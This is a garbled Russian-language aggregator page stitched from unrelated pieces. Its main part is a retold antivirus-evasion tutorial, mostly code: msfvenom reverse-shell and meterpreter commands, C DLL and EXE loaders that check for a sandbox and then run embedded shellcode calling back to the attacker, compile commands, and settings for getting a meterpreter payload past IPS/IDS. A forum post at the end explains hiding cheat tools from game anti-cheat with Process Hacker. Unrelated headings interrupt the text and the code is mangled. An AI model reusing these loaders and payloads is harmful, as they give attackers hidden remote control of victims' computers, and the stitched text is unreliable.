Как обойти защиту программы

Вы наверное слышали про легендарную защиту StarForce. Для многих она ассоциируется со старыми играм на CD-дисках. Но кода-то популярный StarForce часто используется и по сей день. В этой статье посмотрим, как устроена защита StarForce и как ее обходят.

В статье речь пойдет о тра­дици­онной области деятель­нос­ти StarForce, а имен­но о защите ПО от копиро­вания. Эта функция называ­ется StarForce ProActive.

Статья Способы обхода антивирусов

Приветствую всех!
Во время блуждания по сети в поисках интересующих меня ответов на вопросы, мне попалась на глаза занимательная статейка, которую я просто перескажу в переводе. На мой взгляд, она служит неплохим предисловием к теме Ondrik8 в разделе, доступном пользователям групп Paid Access палиться» AV.

Кстати, метод обхода антивирусов также уклоняется от песочницы. Уклонение так же просто, как попытка открыть какой-либо файл, который обязательно существует при каждой установке-использовании. Например. «C: windows system.ini» — обычный, но важный ini-файл.

Как защитить программу от Взлома на C#

Если этого не существует, мы находимся в среде песочницы, созданной антивирусным программным обеспечением, поэтому мы просто ничего не делаем. Когда осуществляется переход в нормальную среду, файл найден, тогда полезная нагрузка выполняется. Отправив файл на Virustotal.com, мы получим вероятность обнаружения 1/59 — всего одно антивирусное ядро обнаружило «подставу».

Кстати, напоминание новичкам и забывчивым (я добавляю от себя лично):
Отправляя файлы на Virustotal.com , вы сами «палите» методы обхода, способы упаковки и шифрования, ведь антивирусные компании получают файл в качестве образца. И он будет немедленно внесен в базы (и способ его получения).

Есть еще онлайн-сканеры. К примеру, я вот вытащил из обсуждений на форуме:

Ссылка скрыта от гостей
Ссылка скрыта от гостей
Ссылка скрыта от гостей
Ссылка скрыта от гостей

  • Metasploit (msfvenom, multi/handler)
  • MinGW
  • Notepad

Конечно, в сети атакуемых могут быть некоторые системы межсетевых экранов /IPS /IDS, но их также можно пробовать обойти, например — используя SSL-кодированное соединение обратно к жертве. Но этот вопрос выходит за рамки данной статьи и гораздо серьезнее, чтобы быть рассмотренным в открытой ветке.

Читайте также:
Как открыть две одинаковые программы

Настройка полезной нагрузки
Полезная нагрузка генерируется с помощью msfvenom, который является частью пакета Metasploit. С msfvenom можно создавать исполняемые файлы и dll-файлы прямо по ходу организации атаки, но, поскольку мы пытаемся уклониться от антивируса, то мы создаем полезную нагрузку в формате вывода C-стиля с помощью следующей команды:

msfvenom -p windows/shell/reverse_tcp lhost=10.0.0.8 lport=4321 -e x86/shikata_ga_nai -i 5 -f c

DLL Method
Одним из способов обхода антивирусного программного обеспечения может быть создание вредоносного *.dll-файла и подмена некоторых существующих .dll на него несколькими способами.

Как правильно запускать читы | Обход защиты в онлайн играх

Как обычно .exe-файлы считаются опасными, они на виду и запоминаются в процессе работы даже простыми пользователями. Но DLL-файлов гораздо больше и простые пользователи обычно не распознают DLL-файлы, как вредоносные. А потому в них куда проще внедрить участок кода.
Для целей тестирования этот фрагмент кода — это очень грубый .dll-файл, который можно запустить из командной строки и который не имеет каких-либо других функций.

#include #include #ifdef EXPORTING_DLL extern __declspec(dllexport) void Checksandboxing() ; #else extern __declspec(dllimport) void Checksandboxing() ; #endif extern «C» BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved ) < switch(fdwReason) < case DLL_PROCESS_ATTACH: CheckSandboxing(); case DLL_PROCESS_DETACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: default: break; >return TRUE; > void CheckSandboxing() < /** Test for some existing system file, sandbox evasion **/ std::ifstream dllfile(«c:\windows\system.ini», std::ios::binary); if (!dllfile) < MessageBox( NULL, TEXT(«Running in sandbox»), TEXT(«Sandbox»), MB_OK); >else < MessageBox( NULL, TEXT(«Real system, running exploit»), TEXT(«Real»), MB_OK); /** msfvenom -p windows/shell/reverse_tcp lhost=10.0.0.8 lport=4321 -e x86/shikata_ga_nai -i 5 -f c **/ unsigned char shellcode[] = «xbdxf8x13x49xa2xdaxcfxd9x74x24xf4x5ax2bxc9xb1» «x6fx83xc2x04x31x6ax0fx03x6axf7xf1xbcx19x44xae» «x68x86x91x90x4cx42x01xd9x32x82x80x90xa5xe5x4f» «xc7x36x5bx7bx64xfdx67x22xc7x73x73xbbxf3x22x3e» «x09x29x81x17x8dxb9x87x1fxd4x8cx23xc9x65x07xc9» «xc0xd9x46x6dxe3xffx34x31x74xa7x67xecx23xb4x53» «x83x31xbex71xdax48x30x28x16x1exb9x5ex50xa5xf0» «xe7x80x07x07x04x91xabxfcx2bxd1x74xcdx3dx11x7e» «x77xf5x4bxd4x6ax9fx2dxecx28x72xd6xa7x87x56x97» «x89xe1x2bx46x72x04x56x23xd2x17x96x62x85x7cxd0» «x9exe8x24x92x59x3fx58x3exf4x66xf0xdfx56xf0xf0» «x72x96x21xaexb7x9cx26x33x7dx11xecx14x44x0cxb9» «x0dx50xcaxb6xf6xb3xabxd7x93x6dxfbxe9x20x6bx0f» «xf4xdax61xb3xedx40xf9xeaxccxbaxd4x92xbex15x11» «xe4xbax22xdcx43xb7x15xebx5dx45x79x41xa5x25xe7» «x8exa2x8ex97x7dxaexf4x1ex50x22x4cxb7xfcx08x21» «xedxb4x1dxdexffx1ax7ax37x98xa3xcdx47xfax10x1a» «xffx57x52x6cxffx39x92xe6x53x05x67xd9xcfx51x01» «x4fx0cx18x66x81x4ax02x2dx79xe5x0cx80xe3xe4xce» «x61x18xc2x9cxc8xe5xdax31xadx2bx63xe3xaexf2x81» «xd0x0dx26xd9xe5x64x73x8ax70x71x2fx88x4cx72xba» «xefxd5x26x39x2cx42xe6xd9x93xb7x69xd9x49xcdx72» «x10x52x1ex76x11xb5xa9x6cxc7x45xccxa9xf0x83x75» «xa7x85xcbx34x0ax50x1dxf5xe5x6cxbcx88xdaxe1x0f» «xa9xe8xe8xf0xc4x1ex83xa1xdfxadxaax9fx1dxa7x82» «x71x6cxbdx8bx02x6dx54xf7x42xaex68x24x9fxf8x73» «xb9x8ax67xa6xefx32xdfx21xf2x9axeax10xc6x19xcf» «x11x55x61xfcxfexf1x51x49xbcx04x9fxe0x9ax09x4e» «x19x2fxb1x20x76xacx90x3dx48x2bx24x23xa6xa1x2e» «x85x35xf7x47x8fx49xa3xa0x7ax65x22x17x5dx72x31» «xb3x2ex38xdfxe7xeax83xddxdfxddx9cxdbx5ax46x4d» «xd3xa0x31»; LPVOID lpAlloc = NULL; void (*shellfunc)(); /** Allocate memory for shellcode (read,write,execute) **/ lpAlloc = VirtualAlloc(0, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(lpAlloc == NULL) < printf(«Error allocating memory!n»); >else < memcpy(lpAlloc, shellcode, lstrlenA((LPCSTR)shellcode)+1); shellfunc = (void (*)())lpAlloc; shellfunc(); >/** Sleep for a bit **/ Sleep(500); > >

Компиляция .dll выполняется следующим образом с помощью MinGW
«c:MinGWbinmingw32-g++.exe» -c c:dll_testmain.cpp «c:MinGWbinmingw32-g++.exe» -shared -o exploittest.dll main.o -Wl,—out-implib,libexample_dll.a

Читайте также:
Что где когда космос интеллектуальная игровая программа

1.png

Теперь .dll можно проверить с помощью антивирусного программного обеспечения, проверяя с Virustotal.com: ( напоминаю, что эти действия автора не рекомендуются! )

Не обнаружено ничего (0/60) антивирусным программным обеспечением. (а вот после проверки — наверняка будет!)

Теперь, чтобы проверить эксплойт в деле, установим multi/handler meterpreter для ожидания соединения.
И запускаем полезную нагрузку из эксплойта с помощью следующей команды в командной строке:

Шеллкод внутри .dll подключается обратно к атакующему, а оболочка теперь создана! Конечно, в реальной ситуации это остановит всю работу, но оболочка — это далеко не единственное, что может быть помещено в DLL-файл.

Исполняемые
Как и с .dll-файлом, проверим уклонение от песочницы, проверяя какой-либо существующий системный файл. Если файл найден, выполнение кода переносится в полезную нагрузку.

#include // msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.8 lport=4321 -e x86/shikata_ga_nai -i 5 -f c char code[] = «xdbxdaxd9x74x24xf4x5ex33xc9xb8xcdx9fx5fxe9xb1» «x6fx31x46x18x83xeexfcx03x46xd9x7dxaax34x23x58» «x21xe3x57x06x74x2dxf6x97x42x9bx31x56x3axedxb4» «x80x38xc8x32xb0x4bxc6x1ex22x25xdbxc1xd8x32x06» «xc8x19x31x8fx0fx09x7cxf8x63x78x9dx37x00x37x86» «x02xf6x63xe6x8bxfcxc1xbax1ax88x74x60xedxc0xad» «x2ax5bxf2xd3x80x19xa9x0ex2ex0cx88x36xcfxdbx27» «x84x06xbfx25x91x64x09x1dxf1x19x2fxd6xa2x6dx6d» «x2ax4exebxa4x00x91x35x57x28xbdxd6x10x13xadx5d» «xeax23x25x9dx14x11xc5x8ex8ex46x7bx28xe1x3bxf3» «xd2x4ex39xf0x5dx4axcex64xa7x82xc2x7fx72x34x96» «xb4xf9x8dxfex94x11x37x88xc3xd7xcbxb5x37xb3x1c» «xc2x58xccx08x37x35xeax67xffx97x01x92xf8x33x82» «x5dx3ex48xffxe3x96x75x18x95xcfxc4x07xe5xa4x73» «x38xd4x21xe1xb4x96x40x52x76xdfxe1x60x2cxafx5d» «xb3xe4xffx89x6bx49x3ex7ex2dx0bx33xa0x54x8dx9b» «x40x5bx2exfex62x1fx48x21x69x6ex99x08xc2xc2xc3» «x69x53x3fx84x8ex79xdbxcaxebx3fxcfxd8x8cxf8x0a» «xedx59xcbx6ex82xb4x07x00xc3x13xedx2ex67xf5xc8» «xfdx1cx24x6ax95x3dx90x43x29xbax29xffx22x2bx48» «xa7x7dxb0x3dx56x71x30x95xddx69x51x2ex0fx3dx5d» «x19xbdxfax06xf9x02xfdxedx08x27xb8x21x11xd7xc4» «xd5xcaxbbx2axd4xe7x64x65x81x50x7bxbdxbdxcbxc0» «x15x05xffx78xeex8bx38x2bx28x52x56xb2x49xc4x44» «x39xbax76x84xebx0dxa4x53x38x4ex77x05xc4xa7x94» «xd4xe9xbfx1dxb7xc1x6fx5fxa6x62xe4x91x48x3cxd4» «x6excexf1x5fxfdx6cx52x8cx59x5cx71x63x30x81x2e» «x63x6fxbcx43x0bxabx37xdbxbfx48x22xdaxdbx3dx04» «xabx5bx6exfdx3exfbxfexb8x4bxa8x72xebx71xbbx0a» «xebxb2x56xcbxb9x14xcfx7axa5xc3x5dx34x4fxfax55» «x54x9dx10xe5x26xbcx61x56xc7x79x8dx64x7ax06x50» «x07xddxc6»; int main(int argc, char **argv)

Компиляция выполняется просто путем выпуска:
c:MinGWbinmingw32-gcc.exe exploittest.c -o exploittest.exe

В этот раз после проверки в онлайн-сканере только Baidu заметил, что это — троян. Интересующиеся могут пометить для себя: а ПОЧЕМУ и вернуться к этому вопросу позднее.
Чтобы проверить это, multi/handler может быть настроен так же, как в DLL-методе чуть выше (обратите внимание, на другую полезную нагрузку) просто выполнив файл.

Злонамеренная полезная нагрузка через системы /IPS /IDS
В случае наличия систем /IPS / IDS перед жертвой эти файлы должны пройти через них, но они будут пойманы. Если фактические файлы будут пойманы, просто создайте защищенный паролем ZIP-файл и получите файлы, к примеру, через HTTP. Итак, что-то вроде windows / meterpreter / reverse_https можно использовать в качестве полезной нагрузки со следующими изменениями параметров:

EnableStageEncoding true MeterpreterServerName Nginx MeterpreterUserAgent Mozilla / 5.0 (Windows NT 6.1) AppleWebKit / 537.36 (KHTML, например, Gecko) Chrome / 41.0.2228.0 Safari / 537.36 StageEncoder (один из ниже) x86 / fnstenv_mov x86 / shikata_ga_nai

Читайте также:
Программа fps monitor код активации

С этими изменениями можно пытаться пройти через брандмауэры с включенными системами /IPS / IDS.
Ну и если все остальное терпит неудачу, то всегда есть dnscat

ВЫВОД
Поскольку атакуемый получит эксплойт (троян), который не обнаружен антивирусными программами, вы получаете управление атакуемым компьютером. Конечно, Windows Defender и антивирус имеют ограничения на новые подключения, но, к сожалению, эти сообщения игнорируются очень часто. Поскольку антивирус ничего не находит, многие чувствуют себя в безопасности.
Нет и еще раз нет! Основная часть ответственности за безопасность по-прежнему лежит на плечах пользователей, а антивирусам / брандмауэрам /IPS /IDS нельзя доверять, чтобы быть защищенными.

Источник: codeby.net

Обход защит с помощью Process Hacker 2

БратокБратишка лучик света в грозовом небеБратокБратишка лучик света в грозовом небеБратокБратишка лучик света в грозовом небеБратокБратишка лучик света в грозовом небеБратокБратишка лучик света в грозовом небеБратокБратишка лучик света в грозовом небеБратокБратишка лучик света в грозовом небе

Всем привет. Решил создать тему по обходу защит для таких программ как HxD , ArtMoney , CheatEngine и других. Нам потребуется Process Hacker 2 (скачать актуальную версию можно на [ Ссылки могут видеть только зарегистрированные пользователи. ] разработчиков. Существует несколько похожих способов обхода защиты таким образом, я расскажу об одном из них.

Суть заключается в запуске нужных нам утилит как систмных служб. Клиентская защита анализирует память текущих процессов, но она не затрагивает системные службы .

1. Итак, запускаем Process Hacker 2 (желательно от имени администратора) .

2. В левом верхнем углу видим вкладку Hacker , нажимаем на нее, в открывшемся меню выбираем Run as. . Перед нами открывается окно запуска программ от имени указанного пользователя.

3. Жмём кнопку Browse. или вводим путь до нашей утилиты ( HxD , CheatEngine ) вручную.

4. Дальше нас интересует меню Type: (по умолчанию стоит Interactive) . Нажимаем на это меню и в открывшемся списке выбираем вместо Interactive параметр New credentials .

5. Остальные параметры мы не трогаем, просто жмём кнопку ОК и видим как наша программа запустилась от имени системы.

6. Запускаем клиент и видим, что нас больше не выкидывает, желаемая программа работает и защита её не видит.

Devidchitchyan (03.12.2016), jorik076 (18.12.2016), shustrik1993 (12.12.2016)

Источник: zhyk.org

Рейтинг
( Пока оценок нет )
Загрузка ...
EFT-Soft.ru